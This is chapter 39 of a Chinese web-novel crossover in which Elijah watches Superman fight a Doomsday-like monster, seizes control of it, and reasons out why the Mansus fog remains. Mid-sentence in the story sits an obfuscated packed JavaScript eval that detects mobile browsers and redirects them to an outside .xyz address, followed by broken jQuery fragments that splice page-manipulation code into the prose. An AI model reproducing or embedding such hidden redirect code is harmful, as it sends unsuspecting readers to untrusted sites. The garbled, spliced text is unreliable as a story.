39.店长的场合

作品:《我,教主,打钱!

    「超人」


    【非我族类。】


    好短的简介,说得好像地球上还有谁不知道超人不是地球人一样。


    性相那一栏也是空空如也,跟卡bug似的。


    ……应该不是真的卡bug了吧?!


    瞥了两眼多出来的三无卡牌,以利亚抬头便看向了红蓝色的本人。


    真稀奇,仿佛无所不能的超人竟然是被按着打的那一个。


    一行人已经转移到了屋外,以利亚为自己的两个信徒提供了「隐秘」,格兰恩则不知道通过什么方式自行消失在了众人的感官中——当然,通过「制烛者」视角,以利亚甚至可以清晰地看见身边格兰恩蓄势待发的肌肉弧线。


    漫宿的雾依旧浓郁得不像话,而在超人与不明物体打到这边来时,为了减少存在感,以利亚把所有的「辉光」都关掉了,但考虑到超人的超级听力可以听见心跳,他们还是使用无形之术做了保险。


    但也正因关掉了「辉光」,为了防止大家走散,他们在原地没有动弹。


    ……话说,如果是超级视力,可以透视漫宿的迷雾吗?


    和超人对打的东西——姑且称之为“东西”吧,毕竟以利亚的桌面上没有它的卡牌。


    根据以利亚的经验来说,他不需要触碰就有卡牌的就是人物卡,他必须上手摸到才有卡牌的是器具卡。


    更何况那个东西实在没有什么能被称之为“人”的地方。


    它通体呈蓝灰色,看上去像是某种矿石结晶,而突出的骨刺则渐变成紫黑色,散发着某种腐烂而粘腻的气味,头部镶嵌着五只巨大的黄黑相间的复眼,其上隐隐流淌着诡异的符文。


    如果以利亚碰到了它,它会有卡牌吗?


    这个想法刚闪过以利亚的脑海,他就感受到了一阵恶寒与反胃。


    他甩甩脑袋,把那种突如其来却挥之不去的恶心赶出脑海。


    「制烛者」的视角中是没有雾的,以利亚可以看见超人被击落后迅速再度腾空,眼中射出滚烫的红色射线冲向那只怪物。


    怪物不闪不避,直直地冲撞上去,速度快到令人瞠目结舌,以利亚可以发誓他听见了金属碰撞的声音。


    他甚至无法判断这声音的发出是因为它撞上了激光、还是撞上了超人——因为这两件事几乎同时发生。


    随后,他看见怪物使用了超人的招数,五道红色的激光齐刷刷射出!


    以利亚:???


    只长了两只眼睛亏了啊超人!


    *


    观战一会儿,以利亚发现超人完全不占优势:怪物居然几乎拥有超人的所有技能,而它本身似乎也对超人产生了某种精神上的负面影响。


    唯一的好消息在于,这只怪物并没有理性,只会根据本能行事……为什么它的本能会是攻击超人啊?!


    完全就是专门做出来针对超人的吗?


    虽说技能相似,但强度不同,超人明显落入下风。


    怪物智慧程度这么低,他为什么不先躲躲?


    不……不对,超人在看这边?


    超级视力可以穿透漫宿的迷雾?!


    不、还是不对,以利亚没有感受到超人的视线……他在看的是格兰恩!


    所以超级视力可以透视迷雾,但是无法透视「隐秘」——所以呢?


    还没等以利亚串联起所有零碎的想法,以利亚的手臂便被某种冰凉、粘腻、柔软到不可思议的触感擦过。


    没有给以利亚带来任何伤害,却让他浑身寒意骤起:


    超人能看见格兰恩,那么,疑似拥有超人全部超能力的怪物呢?


    “嘣——”


    就在以利亚的身边,重物砸地声爆开来……正好是格兰恩的位置。


    ——如果格兰恩死了,狮子匠的合作后续还能好好对接吗?


    这是以利亚心中的第一想法。


    但这个想法没能在他心中停留多久,因为下一秒,他听见了凄厉的哀鸣:


    那只超人束手无策的怪物,竟被生生砍下了一根骨刺!


    恍若某种大型动作电影的慢动作特效,平滑的创口霎时喷发出紫黑色的液体,伴随着死亡的腐烂恶臭,像是尸体上盛开的……算了,用任何一种花来形容都太过美化它。


    它与它就这样彻底截断,它们一同痛呼、蠕动,显露出中央的格兰恩。


    他依旧板着一张脸,冷冽、危险、锋利,看也不看在地上蠕动的骨刺。


    他是一只合格的猛兽,有着超乎想象的强大——以利亚差点忘记了这一点。


    就连疾速飞来试图救人的超人也顿在了半空:“……谢谢,你是怎么做到的?我一直没能伤到它。”


    格兰恩没有看超人,他只是环视一周——尽管灰雾涌动翻滚遮蔽视野,以利亚却奇异的知道,对方在看他。


    “足够锋利的刀刃能斩断一切阻碍。”


    他回答道。


    *


    「凛冬毁灭日」


    【……作为错误诞生,作为错误死去。它本可以安享长眠。】


    性相:七阶杯,二阶冬


    在这张卡牌反转出来的第一秒,以利亚就使用了从兰斯洛特那里薅来的「控制」卡,利用冬相特性直接获得了这只怪物的控制权。


    然而,第一次尝试使用这张技能卡的以利亚发现,和之前所有燃烧他理性的卡不同,这张技能卡并不燃烧他的理性,只是自己默默在那里倒计时。


    「299s」


    「298s」


    ……


    以利亚知道,等到倒计时结束,「凛冬毁灭日」就会脱离掌控。


    不过没关系,灯相的以利亚有控制时限,冬相的兰斯洛特——


    等等。


    兰斯洛特呢?


    *


    不知何时,兰斯洛特悄无声息地失踪了。


    以利亚当即用「制烛者」视角瞅了一眼,发现对方正陷入昏迷,因此以利亚无法判断他的状态。


    他只能暂且将这一视角窗口挂到右上角,再转向在一旁显得有些吵闹的超人。


    “你能告诉我是怎么做——”


    “沙……”


    划过草皮的声音很轻,但超人却马上噤声,露出了警惕的表情。


    方才在被砍掉一根骨刺后就停止攻击、仅仅在地上蠕动的「凛冬毁灭日」,再度扬起了攻击,直挺挺扑向了超人,将对方所有的话语压回了肚子里!


    ……以利亚是知道「毁灭日」的——不如说,所有大都会乃至全美的人都对它耳熟能详。


    足够强大的兵器,毁天灭地的破坏力,尽管不知为何它还会再度出现——倒是不难猜测和卢瑟脱不开关系——长相也和原版「毁灭日」没什么相似点,但无论如何,以利亚想要它。


    作为一件兵器,总要有主人,那为什么不能是他?


    想要得到足以比肩甚至超越人间之神的战


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553053|168038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    斗力,不是理所当然吗?


    但以利亚哪怕用脚趾头想想都知道,超人绝不会坐视以利亚带走它,更何况,现在兰斯洛特下落不明,以利亚也无法靠自己带走它。


    于是他放开了对「凛冬毁灭日」的控制。


    反正超人也杀不了它,只有挨揍的份。


    这么想着,以利亚摸到了格兰恩身边,抓住了他的手腕。


    “是我。”


    格兰恩本想顺着这个力道给偷袭者来一刀,听见是以利亚的声音,就放松了肌肉,任由以利亚开门转移阵地。


    他们默契地对刚才的意外闭口不谈,以利亚不问格兰恩怎么砍伤连超人都束手无策的怪物,格兰恩也不探究怪物为何一停一咋。


    以利亚也不知道自己开门到了哪里——漫宿的雾模糊的不仅仅是物理上的视野,他再次分出两朵辉光交给格兰恩和从刚才起就一直沉默的泽弗林,道:“兰斯洛特失踪了。”


    “……我方才没有感受到任何陌生的气息。”格兰恩道,“更何况,无声无息地绑走一位高阶启可不是那么容易的事情。”


    “但兰斯洛特现在是昏迷状态。”以利亚笃定道,“刚刚一定有什么掩盖了踪迹——”


    他的话音戛然而止。


    辉光照耀下,地上一片猩红与翻滚的血浪,草皮泥地一块块地焦黑,其间还有气泡翻滚。


    这样的痕迹,就连格兰恩也愕然:“……血杯教团……全军覆没?!”


    “你能确定吗?”以利亚瞪大了眼,急切地问道。


    “我有特殊的辨认方法。”格兰恩的语气极为肯定,“方才我们见过的血杯教团成员都在这里,一个不差。”


    “……怎么可能?”


    以利亚喃喃道。


    “他们已经分出了胜负……既然海蒂方已经获得了胜利,为什么雾气还没有散去?”


    除非……除非使漫宿与现世交界的操纵者并不与海蒂同一立场!


    他的猜测错误了!


    是谁?


    是赤杯,还是欺骗他们过来的特蕾莎?


    以利亚屏住了呼吸,站在一地死血中,不由得咬住了手指。


    不对,还是不对,赤杯若是亲自下场海蒂绝无翻盘的可能……特蕾莎再如何也只是长生者,做不到操纵漫宿。


    这场雾的起源只能是维克尔……更何况这雾对隐藏其极为有利,海蒂甚至可以在入口蹲守。


    维克尔既不希望海蒂死亡、也不希望海蒂回到现实?


    ……可恶,死脑快想啊!


    这一片区域安静极了,格兰恩和泽弗林都静待着以利亚的结论。


    不不不,只是揣测一个我今天才知晓其存在的具名者是得不到正确答案的……比起主观意愿,我应该先从客观事实入手……


    以利亚细致地回顾整场事件所有细节,记忆在信封上停顿。


    违和!


    ——海蒂给维克尔写了那么多信件,为什么只有今天,维克尔才做出了回应、给予了帮助?


    今天有什么特别吗?


    不是因为血杯教团的袭击——否则现在雾气已经消散了——是因为什么?


    海蒂怀孕八个月了,她希望和自己的孩子一起活下去……长生者的子嗣……天孽的降生……


    “……八个月。”


    以利亚终于抓住了最重要的线头。


    “海蒂不能再等了——她决定今天提前分娩!”